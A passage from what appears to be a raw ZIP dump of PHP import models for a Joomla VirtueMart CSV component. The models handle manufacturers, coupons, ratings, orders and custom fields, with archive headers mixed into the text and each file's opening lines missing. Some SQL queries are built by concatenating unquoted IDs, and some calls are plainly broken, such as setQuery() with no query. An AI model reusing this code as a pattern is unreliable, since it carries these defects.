RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_order_items->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } } ?> PK@y>\.((Gcomponents/com_csvi/models/com_virtuemart/import/manufacturerimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Only continue if all tables exist if ($this->_tablesexist) { // Load the data $this->loadData(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'published': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; case 'mf_category_name': $this->_manufacturer_categories_lang->mf_category_name = $value; break; default: $this->$name = $value; break; } } return true; } else { $template = $jinput->get('template', null, null); $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_LANG_TABLE_NOT_EXIST', $template->get('language', 'general'))); return false; } } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check if we need to get manufacturer category ID if (empty($this->virtuemart_manufacturercategories_id) && isset($this->_manufacturer_categories_lang->mf_category_name)) { if ($this->_manufacturer_categories_lang->check(false)) { $this->virtuemart_manufacturercategories_id = $this->_manufacturer_categories_lang->virtuemart_manufacturercategories_id; } } // Check for the manufacturer ID if (!isset($this->virtuemart_manufacturer_id)) $this->_getManufacturerId(); // Bind the data $this->_manufacturers->bind($this); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_manufacturers->modified_on = $this->date->toMySQL(); $this->_manufacturers->modified_by = $this->user->id; } // Add a creating date if there is no product_id if (empty($this->virtuemart_manufacturer_id)) { $this->_manufacturers->created_on = $this->date->toMySQL(); $this->_manufacturers->created_by = $this->user->id; } // Check if we need to delete the manufacturer if ($this->manufacturer_delete == 'Y') { $this->_deleteManufacturer(); } else { // Store the data if ($this->_manufacturers->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_MANUFACTURER')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_MANUFACTURER')); $this->virtuemart_manufacturer_id = $this->_manufacturers->get('virtuemart_manufacturer_id'); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURER_NOT_ADDED', $this->_manufacturers->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_MANUFACTURER_QUERY'), true); // Store the language fields $this->_manufacturers_lang->bind($this); $this->_manufacturers_lang->virtuemart_manufacturer_id = $this->virtuemart_manufacturer_id; if ($this->_manufacturers_lang->check()) { if ($this->_manufacturers_lang->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_PRODUCT_LANG')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_PRODUCT_LANG')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_LANG_NOT_ADDED', $this->_manufacturers_lang->getError())); return false; } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_LANG_NOT_ADDED', $this->_manufacturers_lang->getError())); return false; } // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_MANUFACTURER_LANG_QUERY'), true); } // Clean the tables $this->cleanTables(); } /** * Load the manufacturer related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->_manufacturers = $this->getTable('manufacturers'); // Check if the language tables exist $db = JFactory::getDbo(); $tables = $db->getTableList(); if (!in_array($db->getPrefix().'virtuemart_manufacturers_'.$template->get('language', 'general'), $tables)) { $this->_tablesexist = false; } else if (!in_array($db->getPrefix().'virtuemart_manufacturercategories_'.$template->get('language', 'general'), $tables)) { $this->_tablesexist = false; } else { $this->_tablesexist = true; $this->_manufacturers_lang = $this->getTable('manufacturers_lang'); $this->_manufacturer_categories_lang = $this->getTable('manufacturer_categories_lang'); } } /** * Cleaning the manufacturer related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_manufacturers->reset(); $this->_manufacturers_lang->reset(); $this->_manufacturer_categories_lang->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Delete a manufacturer and its references * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _deleteManufacturer() { if (!empty($this->virtuemart_manufacturer_id)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); // Delete product manufacturer xref $query = $db->getQuery(true); $query->delete('#__product_manufacturers'); $query->where('virtuemart_manufacturer_id = '.$this->virtuemart_manufacturer_id); $db->setQuery(); if ($db->query()) { $csvilog->addStats('deleted', JText::_('COM_CSVI_MANUFACTURER_XREF_DELETED')); } else { $csvilog->addStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURER_XREF_NOT_DELETED', $db->getErrorMsg())); } // Delete translations jimport('joomla.language.helper'); $languages = array_keys(JLanguageHelper::getLanguages('lang_code')); foreach ($languages as $language){ $query = $db->getQuery(true); $query->delete('#__virtuemart_manufacturers_'.strtolower(str_replace('-', '_', $language))); $query->where('virtuemart_manufacturer_id = '.$this->virtuemart_manufacturer_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_MANUFACTURER_LANG_XREF'), true); $db->query(); } // Delete manufacturer if ($this->_manufacturers->delete($this->virtuemart_manufacturer_id)) { $csvilog->AddStats('deleted', JText::_('COM_CSVI_DELETE_MANUFACTURER')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURER_NOT_DELETED', $this->_manufacturers->getError())); } // Delete media $query = $db->getQuery(true); $query->delete('#__virtuemart_manufacturer_medias'); $query->where('virtuemart_manufacturer_id = '.$this->virtuemart_manufacturer_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_MEDIA_XREF'), true); $db->query(); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MANUFACTURER_NOT_DELETED_NO_ID')); } } /** * Get the manufacturer ID * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return mixed integer when category ID found | false when not found * @since 3.0 */ private function _getManufacturerId() { $this->_manufacturers_lang->set('mf_name', $this->mf_name); if ($this->_manufacturers_lang->check(false)) { $this->virtuemart_manufacturer_id = $this->_manufacturers_lang->virtuemart_manufacturer_id; return true; } else return false; } } ?> PK@y>\WAcomponents/com_csvi/models/com_virtuemart/import/couponimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Load the data $this->loadData(); // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'published': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; case 'coupon_value': case 'coupon_value_valid': $this->$name = $this->cleanPrice($value); break; case 'coupon_start_date': case 'coupon_expiry_date': $this->$name = $this->convertDate($value); break; default: $this->$name = $value; break; } } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Set some basic values if (!isset($this->modified_on)) { $this->_coupons->modified_on = $this->date->toMySQL(); $this->_coupons->modified_by = $this->user->id; } // Add a creating date if there is no product_id if (empty($this->virtuemart_coupon_id)) { $this->_coupons->created_on = $this->date->toMySQL(); $this->_coupons->created_by = $this->user->id; } // Bind the data $this->_coupons->bind($this); // Check the data $this->_coupons->check(); // Store the data if ($this->_coupons->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_COUPON')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_COUPON')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_COUPON_NOT_ADDED', $this->_coupons->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_COUPON_QUERY'), true); // Clean the tables $this->cleanTables(); } /** * Load the coupon related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_coupons = $this->getTable('coupons'); } /** * Cleaning the coupon related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_coupons->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } } ?>PK@y>\ Acomponents/com_csvi/models/com_virtuemart/import/ratingimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Load the data $this->loadData(); // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Load the helper $this->helper = new Com_VirtueMart(); // Get the product ID $this->virtuemart_product_id = $this->helper->getProductId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'published': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; default: $this->$name = $value; break; } } return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; // Get the imported values $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDBO(); // Check if there is a product ID if (!empty($this->virtuemart_product_id)) { // Find the user ID for the username if (isset($this->username)) { $q = "SELECT id FROM #__users WHERE username = ".$db->Quote($this->username); $db->setQuery($q); $this->created_by = $db->loadResult(); } // Set some basic values if (is_null($this->lastip)) $this->lastip = $_SERVER['SERVER_ADDR']; if (is_null($this->created_on)) $this->created_on = $this->date->toMySQL(); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->modified_on = $this->date->toMySQL(); $this->modified_by = $this->user->id; } // Bind the data $this->_rating_reviews->bind($this); // Store the rating reviews if ($this->_rating_reviews->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_PRODUCT_REVIEW')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_PRODUCT_REVIEW')); // Store the rating votes $this->_rating_votes->bind($this); if ($this->_rating_votes->store($this)) { // Update product votes $vote = new stdClass(); $vote->virtuemart_product_id = $this->virtuemart_product_id; $vote->created_on = $this->created_on; $vote->created_by = $this->created_by; $vote->modified_on = $this->modified_on; $vote->modified_by = $this->modified_by; // Check if an entry already exist $query = $db->getQuery(true); $query->select('virtuemart_rating_id'); $query->from('#__virtuemart_ratings'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $vote->virtuemart_rating_id = $db->loadResult(); // Vote exists if ($vote->virtuemart_rating_id > 0) { // Get all the votes $q = "SELECT vote FROM #__virtuemart_rating_votes WHERE virtuemart_product_id = ".$this->virtuemart_product_id; $db->setQuery($q); $ratings = $db->loadResultArray(); // Create the new totals $vote->ratingcount = count($ratings); $vote->rates = array_sum($ratings); $vote->rating = $vote->rates / $vote->ratingcount; } // Vote does not exist else { $vote->rates = $this->vote; $vote->rating = $this->vote; $vote->ratingcount = 1; } // Store the ratings $this->_ratings->bind($vote); $this->_ratings->check(); $this->_ratings->store(); } } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_REVIEW_NOT_ADDED', $this->_rating_reviews->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_PRODUCT_REVIEW_QUERY'), true); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_REVIEW_NO_PRODUCT_ID')); } // Clean the tables $this->cleanTables(); } /** * Load the reviews related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_ratings = $this->getTable('ratings'); $this->_rating_reviews = $this->getTable('rating_reviews'); $this->_rating_votes = $this->getTable('rating_votes'); } /** * Cleaning the product related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_ratings->reset(); $this->_rating_reviews->reset(); $this->_rating_votes->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } } ?> PK@y>\˟PP@components/com_csvi/models/com_virtuemart/import/orderimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'customer_notified': $this->$name = (strtoupper($value) == 'N') ? 0 : 1; break; case 'order_status': $this->$name = $value; break; case 'order_status_name': $this->order_status_code = $this->helper->getOrderStatus($value); $this->order_status = $this->order_status_code; break; case 'order_total': case 'order_subtotal': case 'order_tax': case 'order_shipment': case 'order_shipment_tax': case 'order_payment': case 'order_payment_tax': case 'coupon_discount': case 'order_discount': $this->$name = $this->cleanPrice($value); break; default: $this->$name = $value; break; } } // All is good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); // Load the order user details if (!isset($this->virtuemart_user_id) && isset($this->email)) { $query = $db->getQuery(true); $query->select('id'); $query->from('#__users'); $query->where('email = '.$db->Quote($this->email)); $db->setQuery($query); $this->virtuemart_user_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_RETRIEVE_USER_ID'), true); } if (isset($this->virtuemart_user_id)) { $query = $db->getQuery(true); $query->select('*'); $query->from('#__virtuemart_userinfos'); $query->where('address_type = '.$db->Quote('BT')); $query->where('virtuemart_user_id = '.$this->virtuemart_user_id); $db->setQuery($query); $userdetails = $db->loadObject(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_LOAD_USER_DETAILS'), true); } else { $csvilog->addDebug(JText::_('COM_CSVI_NOT_PROCESS_USER')); $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NOT_PROCESS_USER')); return false; } // Check if we have an order ID if (empty($this->virtuemart_order_id) && !empty($this->order_number)) { $query = $db->getQuery(true); $query->select('virtuemart_order_id'); $query->from('#__virtuemart_orders'); $query->where('order_number = '.$db->Quote($this->order_number)); $db->setQuery($query); $this->virtuemart_order_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_LOAD_ORDER_ID'), true); } // Load the order if there is an order_id if (empty($this->virtuemart_order_id)) { // Add a creating date if there is no order id $this->_orders->created_on = $this->date->toMySQL(); $this->_orders->created_by = $this->user->id; // Create an order number if it is empty if (empty($this->order_number)) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_CREATE_ORDER_NUMBER')); $this->order_number = substr(md5(session_id().(string)time().(string)$this->virtuemart_user_id), 0, 8); } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_NOT_CREATE_ORDER_NUMBER')); } // Create an order pass if (empty($this->order_pass)) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_CREATE_ORDER_PASS')); $this->order_pass = 'p_'.substr(md5(session_id().(string)time().(string)$this->order_number), 0, 6); } // Check the user currency if (!isset($this->user_currency_id) && isset($this->user_currency)) { $query = $db->getQuery(true); $query->select('virtuemart_currency_id'); $query->from('#__virtuemart_currencies'); $query->where('currency_code_3 = '.$db->Quote($this->user_currency)); $db->setQuery($query); $this->user_currency_id = $db->loadResult(); } // Check the currency rate if (!isset($user->user_currency_rate)) { $user->user_currency_rate = 1; } // Check the order currency if (!isset($this->order_currency)) $this->_orders->order_currency = $this->user_currency_id; // Check the user info id //if (empty($this->virtuemart_order_id)) $this->virtuemart_order_userinfo_id = $userdetails->virtuemart_userinfo_id; // Check the pyament method ID if (!isset($this->virtuemart_paymentmethod_id)) { // Handle the payment method ID if (isset($this->payment_element)) { $query = $db->getQuery(true); $query->select('virtuemart_paymentmethod_id'); $query->from('#__virtuemart_paymentmethods'); $query->where('payment_element = '.$db->Quote($this->payment_element)); $db->setQuery($query); $this->virtuemart_paymentmethod_id = $db->loadResult(); } else $this->virtuemart_paymentmethod_id = 0; } // Check order payment if (!isset($this->order_payment) )$this->_orders->order_payment = 0; // Check order payment tax if (!isset($this->order_payment_tax)) $this->_orders->order_payment_tax = 0; // Check the order_shipping if (!isset($this->order_shipment)) $this->order_shipment = 0; // Check the order_shipping_tax if (!isset($this->order_shipment_tax)) $this->order_shipment_tax = 0; // Check the coupon_code if (!isset($this->coupon_code)) $this->coupon_code = ''; // Check the customer note if (!isset($this->customer_note)) $this->customer_note = ''; // Check the IP address if (!isset($this->ip_address)) $this->ip_address = $_SERVER['SERVER_ADDR']; // Check the ship_method_id if (!isset($this->virtuemart_shipmentmethod_id)) { if (isset($this->shipment_element)) { $query = $db->getQuery(true); $query->select('virtuemart_shipmentmethod_id'); $query->from('#__virtuemart_shipmentmethods'); $query->where('shipment_element = '.$db->Quote('shipment_element')); $db->setQuery($query); $this->virtuemart_shipmentmethod_id = $db->loadResult(); } $this->virtuemart_shipmentmethod_id = ''; } } // Add the modification date if (!isset($this->modified_on)) { $this->_orders->modified_on = $this->date->toMySQL(); $this->_orders->modified_by = $this->user->id; } // Bind order data $this->_orders->bind($this); // Store the order if ($this->_orders->store()) { $csvilog->addDebug(JText::_('COM_CSVI_ORDER_QUERY'), true); if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_ORDER')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_ORDER')); $this->virtuemart_order_id = $this->_orders->virtuemart_order_id; } else { $csvilog->addDebug(JText::_('COM_CSVI_ORDER_QUERY'), true); $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_ORDER_NOT_ADDED', $this->_orders->getError())); // Clean the tables $this->cleanTables(); return false; } // Store the user info if (!isset($this->virtuemart_order_userinfo_id)) { // Check if there is the requested address in the database $query = $db->getQuery(true); $query->select('virtuemart_order_userinfo_id'); $query->from('#__virtuemart_order_userinfo'); $query->where('address_type = '.$db->Quote($this->address_type)); $query->where('virtuemart_order_id = '.$this->virtuemart_order_id); $db->setQuery($query); $this->virtuemart_order_userinfo_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_LOAD_ORDER_INFO_ID'), true); } // Load the order info if ($this->virtuemart_order_userinfo_id) { $this->_order_userinfos->load($this->virtuemart_order_userinfo_id); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_LOAD_ORDER_INFO'), true); if (!isset($this->modified_on)) { $this->_order_userinfos->modified_on = $this->date->toMySQL(); $this->_order_userinfos->modified_by = $this->user->id; } } if (!$this->virtuemart_order_userinfo_id || $this->_order_userinfos->virtuemart_user_id != $this->virtuemart_user_id) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_LOAD_USER_ORDER_INFO')); // Address type name if (!isset($this->address_type_name)) $this->address_type_name = $userdetails->address_type_name; // Company if (!isset($this->company)) $this->company = $userdetails->company; // Title if (!isset($this->title)) $this->title = $userdetails->title; // Last name if (!isset($this->last_name)) $this->last_name = $userdetails->last_name; // First name if (!isset($this->first_name)) $this->first_name = $userdetails->first_name; // Middle name if (!isset($this->middle_name)) $this->middle_name = $userdetails->middle_name; // Phone 1 if (!isset($this->phone_1)) $this->phone_1 = $userdetails->phone_1; // Phone 2 if (!isset($this->phone_2)) $this->phone_2 = $userdetails->phone_2; // Fax if (!isset($this->fax)) $this->fax = $userdetails->fax; // Address 1 if (!isset($this->address_1)) $this->address_1 = $userdetails->address_1; // Address 2 if (!isset($this->address_2)) $this->address_2 = $userdetails->address_2; // City if (!isset($this->city)) $this->city = $userdetails->city; // State if (!isset($this->virtuemart_state_id)) { if (isset($this->state_name) || isset($this->state_2_code) || isset($this->state_3_code)) { $query = $db->getQuery(true); $query->select('virtuemart_state_id'); $query->from('#__virtuemart_states'); if (isset($this->state_name)) $query->where('state_name = '.$db->Quote($this->state)); else if (isset($this->state_2_code)) $query->where('state_2_code = '.$db->Quote($this->state_2_code)); else if (isset($this->state_3_code)) $query->where('state_3_code = '.$db->Quote($this->state_3_code)); $db->setQuery($query); $this->virtuemart_state_id = $db->loadResult(); } else $this->virtuemart_state_id = $userdetails->virtuemart_state_id; } // Country if (!isset($this->virtuemart_country_id)) { if (isset($this->country_name) || isset($this->country_2_code) || isset($this->country_3_code)) { $this->virtuemart_country_id = $this->helper->getCountryId($this->country_name, $this->country_2_code, $this->country_3_code); } else $this->virtuemart_country_id = $userdetails->virtuemart_country_id; } // Zip if (!isset($this->zip)) $this->zip = $userdetails->zip; // Agreed if (!isset($this->agreed)) $this->agreed = 0; // Modified date if (!isset($this->modified_on)) { $this->_order_userinfos->modified_on = $this->date->toMySQL(); $this->_order_userinfos->modified_by = $this->user->id; } // Created date if (!isset($this->created_on)) { $this->_order_userinfos->created_on = $this->date->toMySQL(); $this->_order_userinfos->created_by = $this->user->id; } } // Bind the user uploaded data $this->_order_userinfos->bind($this); // Store the order user info if ($this->_order_userinfos->store($this)) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_ORDERUSER')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_ORDERUSER')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_ORDERUSER_NOT_ADDED', $this->_order_userinfos->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_ORDERUSER_QUERY'), true); // Check if the order has at least a billing address if ($this->address_type == 'ST') { // Check if there is the requested address in the database $query = $db->getQuery(true); $query->select('virtuemart_order_userinfo_id'); $query->from('#__virtuemart_order_userinfos'); $query->where('address_type = '.$db->Quote('BT')); $query->where('virtuemart_order_id = '.$this->virtuemart_order_id); $db->setQuery($query); $bt_order_info_id = $db->loadResult(); // There is no BT address let's add one if (!$bt_order_info_id) { // Get all the fields from the user info table $q = "SHOW COLUMNS FROM #__virtuemart_userinfos"; $db->setQuery($q); $user_fields_raw = $db->loadAssocList(); $user_fields = array(); foreach($user_fields_raw as $user_field) { $user_fields[] = $user_field['Field']; } $q = "SHOW COLUMNS FROM #__virtuemart_order_userinfos"; $db->setQuery($q); $order_user_fields_raw = $db->loadAssocList(); $order_user_fields = array(); foreach($order_user_fields_raw as $user_field) { $order_user_fields[] = $user_field['Field']; } $copy_fields = array_intersect($order_user_fields, $user_fields); // Create the billing address entry $q = "INSERT INTO #__virtuemart_order_userinfos (".implode(',', $copy_fields).", virtuemart_order_id) (SELECT ".implode(',', $copy_fields).", ".$this->virtuemart_order_id." AS order_id FROM #__virtuemart_userinfos WHERE user_id = ".$this->virtuemart_user_id." AND address_type = 'BT')"; $db->setQuery($q); $db->query(); $csvilog->addDebug(JText::_('COM_CSVI_CREATE_BILLING_QUERY'), true); } } // Create an order history entry // Load the payment info if (isset($this->virtuemart_order_history_id)) { $this->_order_histories->load($this->virtuemart_order_history_id); if (!isset($this->modified_on)) { $this->_order_histories->modified_on = $this->date->toMySQL(); $this->_order_histories->modified_by = $this->user->id; } } else { if (!isset($this->modified_on)) { $this->_order_histories->modified_on = $this->date->toMySQL(); $this->_order_histories->modified_by = $this->user->id; } // Add a creating date if there is no product_id $this->_order_histories->created_on = $this->date->toMySQL(); $this->_order_histories->created_by = $this->user->id; if (!isset($this->customer_notified)) $this->customer_notified = 0; // Comments $this->_order_histories->comments = ''; } // Bind the payment data $this->_order_histories->bind($this); // Store the order history info if ($this->_order_histories->store($this)) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_ORDER_HISTORY')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_ORDER_HISTORY')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_ORDER_PAYMNET_NOT_ADDED', $this->_order_histories->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_ORDER_HISTORY_QUERY'), true); // Clean the tables $this->cleanTables(); } /** * Load the order import related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_orders = $this->getTable('orders'); $this->_order_userinfos = $this->getTable('order_userinfos'); $this->_order_items = $this->getTable('order_items'); $this->_order_histories = $this->getTable('order_histories'); } /** * Cleaning the order import related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_orders->reset(); $this->_order_userinfos->reset(); $this->_order_items->reset(); $this->_order_histories->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Formate a date to MySQL timestamp * * Format of the date is day/month/year or day-month-year. * * @copyright * @author RolandD * @todo use JDate * @todo move to general function * @see * @access private * @param * @return string MySQL timestamp * @since 3.0 */ private function _getMysqlDate() { $new_date = preg_replace('/-|\./', '/', $this->_datafield); $date_parts = explode('/', $new_date); if ((count($date_parts) == 3) && ($date_parts[0] > 0 && $date_parts[0] < 32 && $date_parts[1] > 0 && $date_parts[1] < 13 && (strlen($date_parts[2]) == 4))) { $old_date = $date_parts[2].'-'.$date_parts[1].'-'.$date_parts[0]; } else $old_date = date('Y-m-d H:i:s', time()); return $old_date; } } ?> PK@y>\eFcomponents/com_csvi/models/com_virtuemart/import/customfieldimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'created_on': case 'modified_on': case 'locked_on': $this->$name = $this->convertDate($value); break; default: $this->$name = $value; break; } } // All is good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Get the plugin ID if (empty($this->custom_jplugin_id) && !empty($this->custom_element)) { $this->custom_jplugin_id = $this->_getPluginId(); if (empty($this->custom_jplugin_id)) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_NO_PLUGIN_FOUND', $this->plugin_name)); return false; } else { // Make sure the custom_value is the same as custom_element when dealing with a plugin // This is needed as otherwise the plugin is not called $this->custom_value = $this->custom_element; } } // Bind the data $this->_customs->bind($this); // Check the data $this->_customs->check(); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_customs->modified_on = $this->date->toMySQL(); $this->_customs->modified_by = $this->user->id; } if (empty($this->_customs->virtuemart_custom_id)) { $this->_customs->custom_params = ''; $this->_customs->custom_field_desc = ''; $this->_customs->created_on = $this->date->toMySQL(); $this->_customs->created_by = $this->user->id; } // Store the data if ($this->_customs->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_CUSTOMFIELD')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_CUSTOMFIELD')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CUSTOMFIELD_NOT_ADDED', $this->_customs->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CUSTOMFIELD_QUERY'), true); // Clean the tables $this->cleanTables(); } /** * Load the waiting list related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.01 */ private function _loadTables() { $this->_customs = $this->getTable('customs'); } /** * Cleaning the waiting list related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.1 */ protected function cleanTables() { $this->_customs->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Get the user ID * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return mixed int when user ID found | false when not found * @since 3.1 */ private function _getPluginId() { if (isset($this->plugin_name)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = 